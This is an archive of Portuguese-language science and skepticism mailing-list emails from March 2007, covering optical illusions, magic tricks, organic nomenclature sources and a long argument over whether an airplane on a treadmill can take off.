FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 06/03/2007 11:13

Sombra impossível? <http://www.ceticismoaberto.com/news/?p=856>

<http://www.moillusions.com/2007/03/frisbee-shadow-illusion.html>
Olhe bem para a inocente imagem acima. Apenas um belo dia jogando frisbee no
parque? Sim, mas há sérios sinais de manipulação fotográfica. Veja para as
sombras dos indivíduos. Note como o chão é plano. Agora, veja a posição da
sombra sob o frisbee amarelo. Também, note como a sombra chega a ser maior
que o próprio frisbee amarelo. A imagem é impossível… ou não. Em verdade, é
nossa primeira interpretação dela que está incorreta. A imagem não foi
manipulada e é coerente, se você descobrir o que realmente retrata, o que
não é muito difícil. Efeito não tão diferente criou a ilusão do carro de
Harry Potter <http://www.ceticismoaberto.com/news/?p=676>.

Postado em Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Miscelânea<http://www.ceticismoaberto.com/news/?cat=13>| Por Mori |
Comente!
» <http://www.ceticismoaberto.com/news/?p=856#respond>

*Posts relacionados:*
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=616> O
que é isso? Tomada em 21 de fevereiro de 2005...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=619>Segway Photoshop? Acredito
que sim, a sombra é ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=506>Fotos de fantasmas (Prévia
da próxima atualiza�...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=330>Demônio de sombra. Mesmo.
[Outra via ]...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=551>Meteorito Inseto na
Austrália Depois que a foto...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Como David Copperfield voa?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 06/03/2007 11:14

Como David Copperfield voa? <http://100nexos.com/arquivo/98>

*> Assista ao vídeo < <http://100nexos.com/arquivo/98>*

A técnica criada por John Gaugan é
patenteada<http://patft.uspto.gov/netacgi/nph-Parser?patentnumber=5,354,238>,
e em essência bem simples. A engenhosidade não está tanto em como ele voa,
mas nas supostas demonstrações de que fios não seriam usados, quando em
verdade são. O segredo de como pegar a Cláudia Schiffer infelizmente não
pode ser revelado.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Resolvendo um cubo mágico com os pés
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 06/03/2007 11:15

Resolvendo um cubo mágico com os pés <http://100nexos.com/arquivo/100>

*> Assista ao vídeo < <http://100nexos.com/arquivo/100>*

O ganhador do Oscar Michel
Gondry<http://en.wikipedia.org/wiki/Michel_Gondry>resolve um cubo
mágico <http://pt.wikipedia.org/wiki/Cubo_m%C3%A1gico> com seus pés. Apenas
um efeito especial é usado no clipe, acessível a qualquer um. Se você não
conseguir adivinhar (é simples e genial), veja este vídeo explicando o
feito<http://www.youtube.com/watch?v=TaVsaWjzsds>.
Insatisfeito com os céticos, Gondry decidiu repetir a façanha com seu
nariz<http://www.youtube.com/watch?v=pB8XedMowDU>,
desta vez sem o uso de qualquer truque, como podemos perceber.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] CHUPIM ATACA MAIS NINHOS SEM OVOS DELES
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 14:11

FOLHA ONLINE, 06-03-2007

CHUPIM FAZ "CHANTAGEM" CONTRA OUTROS PASSAROS

Ricardo Bonalume Neto

Por que certos pássaros aceitam tomar conta de ovos e filhotes de
outros? Por causa do comportamento mafioso de aves que forçam os
outros a aceitarem seus ovos, sob pena de terem seus ninhos, ovos e
ninhadas totalmente destruídos.

Essa prática de chantagem foi revelada em um novo estudo sobre o
chupim-cabeça-castanha (Molothrus ater), típico da América do Norte.
Jeffrey Hoover, do Serviço de História Natural de Illinois, e Scott
Robinson, da Universidade da Flórida, testaram o comportamento das
aves e publicam o resultado hoje na revista "PNAS" (www.pnas.org), da
Academia de Ciências dos EUA. (e)
http://www1.folha.uol.com.br/folha/ciencia/ult306u16084.shtml
--------------

[]s,

Roberto Takata



SUBJECT: Nomenclatura na orgânica
FROM: "hymboldt2005" <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 15:42

Olá pessoal

Alguém pode me ajudar e informar onde posso encontrar as últimas regras
oficiais para nomenclatura de compostos orgânicos.

abs

DDias



SUBJECT: Re: Nomenclatura na orgânica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 15:59

--- Em ciencialist@yahoogrupos.com.br, "hymboldt2005" <hymboldt2005@...>
> Alguém pode me ajudar e informar onde posso encontrar as últimas
> regras oficiais para nomenclatura de compostos orgânicos.

No site da IUPAC?

http://www.iupac.org/
http://www.chem.qmul.ac.uk/iupac/

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Nomenclatura na orgânica
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 16:03

Serve em ingles?

http://www.acdlabs.com/iupac/nomenclature/

Ateh
Luis Brudna

On 3/6/07, hymboldt2005 <hymboldt2005@yahoo.com.br> wrote:
>
>
> Olá pessoal
>
> Alguém pode me ajudar e informar onde posso encontrar as últimas regras
> oficiais para nomenclatura de compostos orgânicos.
>
> abs
>
> DDias
>


SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 16:23

OK, Ricardo! Vamos relembrar as premissas. Avião parado, sem rolar na
esteira, esteira parada também.
O avião aciona os motores e começa a rolar para frente sobre a esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. Nesse caso o
medidor de velocidade do avião está nas rodas, agindo como um velocímetro de
carro e as rodas não giram com o *dobro* da velocidade da esteira, como vc
diz abaixo. O ponto de referência de medição da velocidade da esteira é está
no chão; o ponto de ref para medição da veloc do avião está no piso da
esteira onde o avião está apoiado. Nesse caso, em relação ao chão, o avião
está praticamente parado. Se vc conseguir entender esse esquema, passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS.
[]s
José Renato
......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 8:12 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


> Olá José Renato,
>
> Talvez estejamos interpretando o problema de forma diferente. Vamos dar
> mais
> uma olhada no enunciado original:
>
> "Um avião está estacionado em uma pista móvel (como se fosse uma esteira
> rolante). O avião se move em um sentido, e a esteira no sentido oposto.
> A esteira tem um sistema de controle que acompanha a velocidade do avião
> e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
> oposto. A pergunta é: o avião vai conseguir decolar?"
>
> Segundo o texto acima se o avião estiver parado, a esteira estará também
> parada, com a turbina ligada. Nesta interpretação do texto (talvez vc
> tenha
> outra), é impossível o avião ficar parado. Imaginou a cena? O avião e a
> esteira parados, com uma turbina empurrando com toda a força o avião para
> frente? Conforme o avião começa a andar para frente, a esteira começa a
> rodar para trás com a mesma velocidade, o que faz com que as rodas girem
> com
> o dobro da velocidade. Talvez não concorde com esta visão, mas, se for o
> caso, peço que mostre os erros que cometi.
>
> Obrigado,
>
> Ricardo



SUBJECT: P/ Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 16:54

Olá Jose Renato

Renato: "Se vc conseguir entender esse esquema, passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS."

O esquema está errado, completamente errado, e é a base do problema, o engano que nossa mente comete ao avaliar o problema como você está fazendo. Totalmente errado. A velocidade do avião, não tem NADA a ver com a velocidade com que as rodas giram, nesse sentido de seu esquema. Substitua as rodas por um esqui e a esteira por uma pista de gelo, e TALVEZ entenda o problema.

Observe que mesmo o Takata está admitindo atrito, pois sem atrito, não há como a esteira atuar no avião. Por isso o Ricardo está corretíssimo, as rodas apenas giram em velocidade dobrada, sem fazer nenhuma força (a não ser o mínimo atrito dos rolamentos) no avião.

Seu engano, recorrente, vem da "sensação" de que ao "puxar" uma esteira ou tapete, você "cai", porque a esteira ou tapete puxa seus pés.

Mas, se estiver de patins de rodas, puxar o tapete ou rolar a esteira, NÃO vai derruba-lo, apenas vai fazer as rodas girarem mais.

Aliás, eu pensei em um exemplo que pode fazer na academia, para desfazer suas dúvidas. Coloque um patinador sobre uma esteira de corrida, e ligue a esteira. O patinador, no lugar de cair, ou ter de dar passos, ficará parado no lugar, sem nenhum problema, bastando segurar as bordas, com mínimo esforço, para vencer o pouco atrito dos rolamentos.

Agora, empurre o patinador para frente, contra a direção do rolamento da esteira. Observe que, as rodas, JÁ estam girando, devido a esteira, e apenas giraram MAIS rápido, para compensar o movimento do patinador para frente.

Movimento esse que precisa apenas da MESMA força que necessitaria para acançar se estivesse no chão, sem a esteira.

Ou seja, se substituir o patinador por um patinador com hélices, este vai avançar para frente assim que ligar as hélices, MESMO QUE A ESTEIRA ESTEJA EM ALTA VELOCIDADE PARA TRAS.

Tente entender, está lidando com o problema como se fosse um corredor sobre a esteira, que tem de fazer força para compensar o movimento para tras, andar e correr. Um patinador não precisa, basta uma força MÍNIMA para vencer o atrito dos rolamentos das rodas dos patins, e ele fica no lugar. E um esforço identico ao necessário no chão firme, o faz avançar.

Se avançar, decola, essa é a questão. O avião avança, pois é como o patinador, não está mais conectado a esteira ou ao chão, e o atrito mínimo NÃO pode impedir você de mover o patinador para frente, mesmo com a esteira recuando rapidamente.

O mais difícil é que, se alguém construir uma esteira na pista, e colocar uma vião, este vai decolar, mas você vai recusar a aceitar, porque sua visão está enganada pelos pressupostos do dia a dia a que se acostumou (rodas servem para tracionar e pronto).

Outra imagem que me veio à cabeça, que talvez esclareça. Pense em um patinador sobre uma esteira, mas a esteira é inclinada. O patinador está se movendo na direção de descida da esteira, e a esteira pode se mover na direção de subida. Se ligar a esteira, pensa que pode trazer o patinador de volta para cima? Pense no patinador parado, ligado por um fio ao alto da esteira. O fio não permite que ele desça mais. Agora, ligue a esteira. Isso vai girar as rodas do patinador, mas NÃO VAI TRAZE-LO PARA CIMA, NEM UM MILIMETRO. Acelere a esteira quanto quiser, o patinador continuará parado no lugar, pois as rodas IMPEDEM que a esteira aplique força nele. Se o atrito dos rolamentos dos patins for zero, nem mesmo uma ligeira diminuição da pressão no fio que segura o patinador irá sentir. Se for mínima, pode conseguir diminuir a pressão, mas não vai conseguir levantar o patinador.

Como pensa que essa força, desprezível de atrito nos rolamentos, vai impedir um avião de decolar ou mante-lo parado no lugar, Renato?

Está errado, Renato, e espero que compreenda isso em algum momento.

Homero

PS: A culpa é sua, Takata..:-) Ao defender o indefensável, com ajustes de atrito, está confundindo ainda mais o Renato, de forma que ele realmente pensa que é a ESTEIRA que impede o avião de decolar. Todos aqui, eu e o Ricardo inclusive, admitimos que qualquer força oposta ao movimento do avião, se contrabalançar o empuxo, impede a decolagem, mas o Renato não está entendendo que não é a rolagem da esteira que pode fazer isso.




----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 06, 2007 4:23 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


OK, Ricardo! Vamos relembrar as premissas. Avião parado, sem rolar na
esteira, esteira parada também.
O avião aciona os motores e começa a rolar para frente sobre a esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. Nesse caso o
medidor de velocidade do avião está nas rodas, agindo como um velocímetro de
carro e as rodas não giram com o *dobro* da velocidade da esteira, como vc
diz abaixo. O ponto de referência de medição da velocidade da esteira é está
no chão; o ponto de ref para medição da veloc do avião está no piso da
esteira onde o avião está apoiado. Nesse caso, em relação ao chão, o avião
está praticamente parado. Se vc conseguir entender esse esquema, passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS.
[]s
José Renato
......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 8:12 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Olá José Renato,
>
> Talvez estejamos interpretando o problema de forma diferente. Vamos dar
> mais
> uma olhada no enunciado original:
>
> "Um avião está estacionado em uma pista móvel (como se fosse uma esteira
> rolante). O avião se move em um sentido, e a esteira no sentido oposto.
> A esteira tem um sistema de controle que acompanha a velocidade do avião
> e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
> oposto. A pergunta é: o avião vai conseguir decolar?"
>
> Segundo o texto acima se o avião estiver parado, a esteira estará também
> parada, com a turbina ligada. Nesta interpretação do texto (talvez vc
> tenha
> outra), é impossível o avião ficar parado. Imaginou a cena? O avião e a
> esteira parados, com uma turbina empurrando com toda a força o avião para
> frente? Conforme o avião começa a andar para frente, a esteira começa a
> rodar para trás com a mesma velocidade, o que faz com que as rodas girem
> com
> o dobro da velocidade. Talvez não concorde com esta visão, mas, se for o
> caso, peço que mostre os erros que cometi.
>
> Obrigado,
>
> Ricardo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 17:09

Olá José Renato

Acho que seu engano recorrente fica evidente neste trecho:

Renato: "O avião aciona os motores e começa a rolar para frente sobre a esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. "

Não, não é. Isso SÓ funcionaria como você pretende se fosse um AUTOMÓVEL, um carro, que usa os pneus e rodas para tracionar. Ao ligar o carro, e fazer as rodas girarem, a esteira "compensa" e o carro não sai do lugar. Mas isso APENAS porque o carro depende das rodas para se mover, o avião NÃO DEPENDE!!!

O avião e a esteira NÃO estão conectados! Carros sim, pois a tração está ligada as rodas, ao sistema de marchas e ao motor, que está ligado ao carro. No avião, NÂO HÁ nada disso, Renato. Não há esse "sistema de polias" que está imaginando.

O avião não se move PORQUE as rodas giram, elas giram PORQUE ele se move. Isso faz toda diferença, e isso está confundindo você.

Imagine que o avião está sobre as esteiras, não sobre rodas, mas sobre um "colchão de ar", suspenso sem tocar a esteira. Ao ligar os motores, a propulsão, ele se move. Não importa se as rodas giram ou se ficam paradas, não é? Ele SE MOVE simplesmente porque a porpulsão está ligada e NADA impede seu movimento. Agora, encoste as rodas ligeiramente na esteira, bem de leve. Agora, ao se mover, as rodas giram, APENAS porque a esteira ou o chão as faz girar. Ainda aqui, o avião SE MOVE para frente, nao importam as rodas.

Os rolamentos são exatamente para isso, Renato, dispositivos de eliminar contato, e permitir que, com ou sem esteira, o avião se mova para frente ao ligar a propulsão. Se a esteira começa a rolar para trás, as rodas simplesmente se comportam como se o chão as estivesse girando mais rápido, mas o avião NÃO LIGA A MÍNIMA.

Não sei mais o que fazer para desfazer seu engano. Talvez se o Takata ajudar a esclarecer o problema você entenda.

Homero






----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 06, 2007 4:23 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


OK, Ricardo! Vamos relembrar as premissas. Avião parado, sem rolar na
esteira, esteira parada também.
O avião aciona os motores e começa a rolar para frente sobre a esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. Nesse caso o
medidor de velocidade do avião está nas rodas, agindo como um velocímetro de
carro e as rodas não giram com o *dobro* da velocidade da esteira, como vc
diz abaixo. O ponto de referência de medição da velocidade da esteira é está
no chão; o ponto de ref para medição da veloc do avião está no piso da
esteira onde o avião está apoiado. Nesse caso, em relação ao chão, o avião
está praticamente parado. Se vc conseguir entender esse esquema, passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS.
[]s
José Renato
......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 8:12 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Olá José Renato,
>
> Talvez estejamos interpretando o problema de forma diferente. Vamos dar
> mais
> uma olhada no enunciado original:
>
> "Um avião está estacionado em uma pista móvel (como se fosse uma esteira
> rolante). O avião se move em um sentido, e a esteira no sentido oposto.
> A esteira tem um sistema de controle que acompanha a velocidade do avião
> e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
> oposto. A pergunta é: o avião vai conseguir decolar?"
>
> Segundo o texto acima se o avião estiver parado, a esteira estará também
> parada, com a turbina ligada. Nesta interpretação do texto (talvez vc
> tenha
> outra), é impossível o avião ficar parado. Imaginou a cena? O avião e a
> esteira parados, com uma turbina empurrando com toda a força o avião para
> frente? Conforme o avião começa a andar para frente, a esteira começa a
> rodar para trás com a mesma velocidade, o que faz com que as rodas girem
> com
> o dobro da velocidade. Talvez não concorde com esta visão, mas, se for o
> caso, peço que mostre os erros que cometi.
>
> Obrigado,
>
> Ricardo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 17:30

Nao é esse, é a minha tréplica sobre esse. Vou
manda-lo novamente em pvt e vc responde publicamente.


--- José Renato <jrma@terra.com.br> escreveu:

> Olá, Chicão, veja se a resposta a que vc se refere
> não é a já enviada dia 3,
> às 11:41 PM, cujo o início colo abaixo. Se não for
> peço indicar n° ou data e
> hora da mesma, OK?
> []s
> JR
> .....................................
> ----- Original Message -----
> From: José Renato
> To: acropolis_@yahoogrupos.com.br
> Sent: Saturday, March 03, 2007 11:41 PM
> Subject: [Acropolis_] Re: [ciencialist] Crueldade
> com animais
>
>
> Olá, Chicão! Seus últimos comentários estão após C1
> -. Faço os meus após
> JR1 -, OK?
>
> From: "Chicao Valadares" <chicaovaladares@
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, February 28, 2007 6:57 PM
> Subject: Re: [ciencialist] Crueldade com animais
>
> C - Rapaz, o que eu estou querendo são princípios
> que motivam essas coisas.
> O que é justiça?? O que é racionalidade? ?? Voasse
> fala que é bom , justo e
> racional sem explicar o porquê. Não somos mais
> crianças e nem somos
> religiosos para dividir as coisas simplesmente em
> bem e mal. Eu aposto que
> você segue as regras sem entender EXATAMENTE por
> quais motivos a segue.
>
> JR - Esse aprendizado começa inconscientemente na
> primeira infância do zero
> aos quatro anos. A consciência e o discernimento vem
> aos poucos após a
> adolescência, onde adquirimos nossas primeiras
> convicções. O restante da vida é a contínua e
> permanente fase das
> avaliações-reavaliaçõ es. Sobre esses
> >temas como justiça, bem, mal, racionalidade, o
> mundo está cheio de bons
> >livros contendo as mais diversas visões ou
> percepções. Para refletir sobre
> >essas visões é necessário liberdade, tranqüilidade,
> tempo... Mas essas são as primeiras riquezas que
> vampiros midiáticos
> marqueteiros nos furtam com
> promessas sedutoras de emoção, prazer, alegria,
> participação.. . A partir
> daí viramos um cidadão-zumbi, não temos mais vontade
> nem idéias próprias,
> nem tomamos nossas decisões com liberdade e
> conhecimento. Nos ajeitamos no
> roldão em que todos os "consumidores" são levados...
> (deletei o restante)
> .............................................
>
> ----- Original Message -----
> From: "Chicao Valadares"
> <chicaovaladares@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 2:46 PM
> Subject: Re: [ciencialist] A ciência da felicidade -
> José Renato
>
>
> > Ué JR não vai responder minha ultima réplica a seu
> > email sobre ética??
> > Discutir o que é ética tem tudo a ver com
> felicidade.
> > Ou não.
> >
> > Abraços.
>
.................................................................
> >
> > --- José Renato <jrma@terra.com.br> escreveu:
> >
> >> A ciência da felicidade
> >>
> >> O que é preciso para as pessoas viverem a
> felicidade?
> >>
> >> No grupo, um amigo - afeito a questões
> complicadas,
> >> que passam despercebidas ou preferimos esquecer -
> >> propôs que seja incluída no currículo educacional
> >> uma disciplina que ensine a ciência da
> felicidade.
> >>
> >> Existirá um conhecimento específico para ser
> feliz?
> >> Como obter e manter a felicidade?
> >>
> >> De algum modo sua proposta nos fez calar e, o
> >> melhor, pensar.
>
> (apaguei o restante)
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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destinatário, saiba que leitura, divulgação ou cópia são proibidas.
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tratado
conforme as normas da empresa e a legislação em vigor. Agradecemos sua
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SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 17:30




"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Res: [ciencialist] Nomenclatura na orgânica
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 19:57

Atendeu plenamente

DDias


----- Mensagem original ----
De: Luis Brudna <luisbrudna@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Terça-feira, 6 de Março de 2007 16:03:28
Assunto: Re: [ciencialist] Nomenclatura na orgânica

Serve em ingles?

http://www.acdlabs. com/iupac/ nomenclature/

Ateh
Luis Brudna

On 3/6/07, hymboldt2005 <hymboldt2005@ yahoo.com. br> wrote:
>
>
> Olá pessoal
>
> Alguém pode me ajudar e informar onde posso encontrar as últimas regras
> oficiais para nomenclatura de compostos orgânicos.
>
> abs
>
> DDias
>



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Ainda errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 21:45

Calma, Homero, não há irritação, é vc que está tentando me convencer de
qualquer maneira, no GRITO! É só ver seu e-mail Sent: Monday, March 05, 2007
3:19 PM, daí a surpresa pelo seu estado exaltado e a expressão que usei:
danou-se! Faço outros comentários no corpo do e-mail após JR1, OK?
.......................................................

From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 3:36 PM
Subject: [ciencialist] Ainda errado, Renato - O avião decola SEM
PROBLEMAS..:-) Re: avião em esteira

Olá Jose Renato

Renato, sua irritação para comigo está levando as discussões ao limite do
razoável e gerando absurdos atrás de absurdos..:-)

Vejamos: "JR - Danou-se, Homero! E como vc acha que as hélices criam empuxo?
É cortando e empurrando o ar em sua maior massa para trás. Ao fazer isso o
ar
da frente flui sobre e sob as asas do dito cujo. Se a velocidade desse fluxo
for suficiente pode elevar o avião do chão, mesmo que ele esteja freado."

Isso, se for verdade, significa que aviões com hélices montadas na cauda não
voam. Como aviões com hélices montadas na cauda VOAM isso NÃO é verdade.
JR1 - Para que os aviões com hélices montadas na cauda voem é necessário
também que o fluxo de ar sob e sobre as asas sejam suficiente para
sustentá-lo. Isso ocorre geralmente quanto o avião toma velocidade na pista
impulsionado pelas hélices. Veja que falo no caso em que o avião está freado
ou preso pela cauda e acelera os motores até o ponto em que o fluxo de ar
nas asas lhe dá sustentação e ele voa, mesmo amarrado fica planando no
mesmo lugar como em um túnel de vento.

Seu desconhecimento sobre aerodinâmica, que está, me parece, próximo ao seu
desconhecimento sobre evolução e biologia, está dificultando bastante as
coisas. O que pensa ser uma "questão de bom senso" não é. Justamente por
isso essas "pegadinhas" são criadas, porque o "bom senso" costuma falhar em
avaliar o problema.
JR1 - Sim, e daí? Suas avaliações são irrelevantes, não vão resolver a
questão?

O avião decola sem problemas. Não é a hélice que joga "ar" sobre as asas. A
propulsão, jato ou hálice, funciona da mesma forma, com ação e reação, para
mover o avião, mas é o fluxo de ar sobre as asas que permite que voe. Etc,
etc, etc.
JR1 - Seria melhor vc responder e comentar em cima do que escrevi.

Está errado, Renato, e teima como um legítimo religioso, acostumado a
verdades sólidas e evidentes.
JR1 - Vc parece descontrolado, Homero! Experimente ser objetivo. O que tem a
ver esses seus comentários sobre a questão apresentada? É mais uma reação
desconexa? O que lhe aflige?

Homero

[]s

José Renato
......................................................


----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 10:17 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


Olá, Homero! Faço comentários após JR -
..................................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 28, 2007 12:44 AM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

Olá Jose Renato

Renato: "Sim, se as hélices tiverem a condição de criar um fluxo de ar
nas asas capaz de sustentá-lo. Na proposta original parece-me que o
avião possui turbinas. Nesse caso não há fluxo de ar nas asas, só nas
turbinas."

Não há menção no enunciado sobre o sistema propulsor do avião, e de
todo modo isso é irrelevante ao problema. Não são as hélices que
produzem o fluxo de ar nas asas, para permitir o vôo. As hélices
apenas criam empuxo, de forma a mover o avião, e é este movimento, seu
deslocamento na atmosfera, que permite o vôo.
JR - Danou-se, Homero! E como vc acha que as hélices criam empuxo? É
cortando e empurrando o ar em sua maior massa para trás. Ao fazer isso o
ar
da frente flui sobre e sob as asas do dito cujo. Se a velocidade desse
fluxo
for suficiente pode elevar o avião do chão, mesmo que ele esteja freado.

Como exemplo, pense em um carro com hélices e em um planador, sem
hélices. No primeiro caso, há deslocamento, mas não vôo, pois o carro
não tem asas. No segundo, não há hélices, mas há vôo, pois há
deslocamento na atmosfera.
JR - O planador voa porque há um fluxo de ar em suas asas que o sustentam.

Não é possível usar o deslocamento de ar produzido pelas hélices para
gerar sustentação, como não é possível fazer o famoso "barco feito de
banheira e chuveiro" dos desenhos animados, ou soprar na vela do barco
para move-lo. Não funciona assim, a mecânica do vôo é bem diferente.
JR - Pense um pouco, Homero, são arranjos diferentes. Vc vai chegar lá...

No caso de ser um jato, continua tudo na mesma. O jato, ao criar
deslocamento de ar para "tras", cria uma reação contrária "para
frente" (ação e reação). Isso desloca o avião (ou o carro, se a
turbina for instalada em um), que se move na atmosfera, e esse
movimento cria a sustentação, que permite o vôo.
JR - A turbina faz o ar que está a frente do avião passar para trás *por
dentro dela*. Não há fluxo nas asas, nem sob, nem sobre elas. Não causa
sustentação, só empuxo praticamente na horizontal.

Nada disso tem relação com o solo, e as rodas, no avião, são apenas
dispositivos de "desligar" o avião do atrito com este. Dessa forma,
não importa "o que" acontece com esse solo, se ele anda para frente,
para tras, ou se fica parado em relação ao avião.
JR - O x do problema é esse: onde está localizado o ponto de referência
para
medir as velocidades do avião e da esteira?

É essa a questão proposta pelo enunciado.

Um abraço.
Homero

[]s
José Renato
...................................

PS: O barco de desenho animado, usado pelo pinguim da Disney, que
desejava sair do pólo Sul e viver em um lugar quente, é formado por
uma banheira, e tem o cano do chuveiro instalado no ralo dessa
banheira. Assim, a água que "entra" pelo ralo, passa pelo cano, e sai
pelo chuveiro, que está, é claro, apontado para "fora" do barco,
gerando um motor que "nunca para" (atenção, Murilo, não tente
construir um desses, não funciona..:-).



SUBJECT: RE: [ciencialist] Re: SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 21:58

Cacilda, Manuel!!!
E vc é um cara novo, meu!
Dá um jeito!
O q/q vc toma? Finasterida ou treco assim?
abr/M.


>From: Manuel Bulcão <manuelbulcao@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
>Date: Tue, 06 Mar 2007 10:43:22 -0000
>
>Esses hackers promotores de venda entram nas listas de discussão (as
>mais dinâmicas) também para pegar nossos e-mails. A minha caixa de
